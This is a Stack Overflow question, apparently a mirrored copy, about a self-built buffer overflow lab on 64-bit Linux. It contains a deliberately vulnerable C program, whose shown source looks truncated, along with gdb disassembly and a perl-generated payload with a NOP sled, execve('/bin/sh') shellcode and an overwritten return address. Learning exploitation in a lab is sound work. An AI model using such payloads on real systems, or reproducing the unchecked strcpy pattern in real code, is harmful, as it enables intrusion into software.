buffer overflow - problem with my shell code


I'm trying to test a buffer overflow on my 64-bit linux virtual machine. I have trouble to do it : The program stop, the shell seems to be launched but I don't receive the result of my instructions.

My C code (vulnerable) is :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void func(char *arg)
    char buffer[64];
    printf("%s\n", buffer);

int main(int argc, char *argv[])
    if(argc != 2) printf("binary \n");
    else func(argv[1]);
    return 0;

alsr is off, I compile with

gcc test.c -o test -fno-stack-protector -z execstack

func is my vulnerable function. When I disassemble it I find :

   0x000000000040057d <+0>: push   %rbp
   0x000000000040057e <+1>: mov    %rsp,%rbp
   0x0000000000400581 <+4>: sub    $0x50,%rsp
   0x0000000000400585 <+8>: mov    %rdi,-0x48(%rbp)
   0x0000000000400589 <+12>:    mov    -0x48(%rbp),%rdx
   0x000000000040058d <+16>:    lea    -0x40(%rbp),%rax
   0x0000000000400591 <+20>:    mov    %rdx,%rsi
   0x0000000000400594 <+23>:    mov    %rax,%rdi
   0x0000000000400597 <+26>:    callq  0x400450 <strcpy@plt>
   0x000000000040059c <+31>:    lea    -0x40(%rbp),%rax
   0x00000000004005a0 <+35>:    mov    %rax,%rdi
   0x00000000004005a3 <+38>:    callq  0x400460 <puts@plt>
   0x00000000004005a8 <+43>:    leaveq 
   0x00000000004005a9 <+44>:    retq  

main :

   0x00000000004005aa <+0>: push   %rbp
   0x00000000004005ab <+1>: mov    %rsp,%rbp
   0x00000000004005ae <+4>: sub    $0x10,%rsp
   0x00000000004005b2 <+8>: mov    %edi,-0x4(%rbp)
   0x00000000004005b5 <+11>:    mov    %rsi,-0x10(%rbp)
   0x00000000004005b9 <+15>:    cmpl   $0x2,-0x4(%rbp)
   0x00000000004005bd <+19>:    je     0x4005cb <main+33>
   0x00000000004005bf <+21>:    mov    $0x400674,%edi
   0x00000000004005c4 <+26>:    callq  0x400460 <puts@plt>
   0x00000000004005c9 <+31>:    jmp    0x4005de <main+52>
   0x00000000004005cb <+33>:    mov    -0x10(%rbp),%rax
   0x00000000004005cf <+37>:    add    $0x8,%rax
   0x00000000004005d3 <+41>:    mov    (%rax),%rax
   0x00000000004005d6 <+44>:    mov    %rax,%rdi
   0x00000000004005d9 <+47>:    callq  0x40057d <func>
   0x00000000004005de <+52>:    mov    $0x0,%eax
   0x00000000004005e3 <+57>:    leaveq 
   0x00000000004005e4 <+58>:    retq   

I've put a breakpoint at 0x000000000040059c in func (just after callq 0x400450 strcpy@plt). If I run with

run `perl -e 'print "A"x27`

I have :

(gdb) x/24xw $rsp
0x7fffffffe520: 0xffffffff  0x00000000  0xffffe8b3  0x00007fff
0x7fffffffe530: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe540: 0x41414141  0x41414141  0x00414141  0x00000000
0x7fffffffe550: 0x00000001  0x00000000  0x0040063d  0x00000000
0x7fffffffe560: 0xffffe590  0x00007fff  0x00000000  0x00000000
0x7fffffffe570: 0xffffe590  0x00007fff  0x004005de  0x00000000

The end of the print is the adresse next to callq 0x40057d <func> in main (0x00000000004005de), so it seems to be the save of %rip I want to erase. So I construct my run command to do that :

run `perl -e 'print "\x90"x27 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x10\xe5\xff\xff\xff\x7f\x00\x00"'`

But when I run it, the program is interrupted but it does not give the result of the instructions :

(gdb) run `perl -e 'print "\x90"x27 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x10\xe5\xff\xff\xff\x7f\x00\x00"'`

Starting program: /home/vagrant/hackndo/test `perl -e 'print "\x90"x27 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x10\xe5\xff\xff\xff\x7f\x00\x00"'`

Breakpoint 1, 0x000000000040059c in func ()
(gdb) continue
echo $PATH
echo $PATH

I tried to print instructions I've put in the buffer :

(gdb) x/50i 0x7fffffffe500
   0x7fffffffe500:  nop
   0x7fffffffe501:  nop
   0x7fffffffe502:  nop
   0x7fffffffe503:  nop
   0x7fffffffe504:  nop
   0x7fffffffe505:  nop
   0x7fffffffe506:  nop
   0x7fffffffe507:  nop
   0x7fffffffe508:  nop
   0x7fffffffe509:  nop
   0x7fffffffe50a:  nop
   0x7fffffffe50b:  nop
   0x7fffffffe50c:  nop
   0x7fffffffe50d:  nop
   0x7fffffffe50e:  nop
   0x7fffffffe50f:  nop
   0x7fffffffe510:  nop
   0x7fffffffe511:  nop
   0x7fffffffe512:  nop
   0x7fffffffe513:  nop
   0x7fffffffe514:  nop
   0x7fffffffe515:  nop
   0x7fffffffe516:  nop
   0x7fffffffe517:  nop
   0x7fffffffe518:  nop
   0x7fffffffe519:  nop
   0x7fffffffe51a:  nop
   0x7fffffffe51b:  jmp    0x7fffffffe53c
   0x7fffffffe51d:  pop    %rsi
   0x7fffffffe51e:  mov    %esi,0x8(%rsi)
   0x7fffffffe521:  xor    %eax,%eax
   0x7fffffffe523:  mov    %al,0x7(%rsi)
   0x7fffffffe526:  mov    %eax,0xc(%rsi)
   0x7fffffffe529:  mov    $0xb,%al
   0x7fffffffe52b:  mov    %esi,%ebx
   0x7fffffffe52d:  lea    0x8(%rsi),%ecx
   0x7fffffffe530:  lea    0xc(%rsi),%edx
   0x7fffffffe533:  int    $0x80
   0x7fffffffe535:  xor    %ebx,%ebx
   0x7fffffffe537:  mov    %ebx,%eax
   0x7fffffffe539:  rex int $0x80
   0x7fffffffe53c:  callq  0x7fffffffe51d
   0x7fffffffe541:  (bad)  
   0x7fffffffe542:  (bad)  
   0x7fffffffe543:  imul   $0xe5106873,0x2f(%rsi),%ebp
   0x7fffffffe54a:  (bad)  
   0x7fffffffe54b:  (bad)  
   0x7fffffffe54c:  (bad)  
   0x7fffffffe54d:  jg     0x7fffffffe54f
   0x7fffffffe54f:  add    %cl,-0x1a(%rax)

Do you have any ideas ?

asked on Stack Overflow Feb 9, 2021 by razzi • edited Feb 10, 2021 by razzi

0 Answers

Nobody has answered this question yet.

User contributions licensed under CC BY-SA 3.0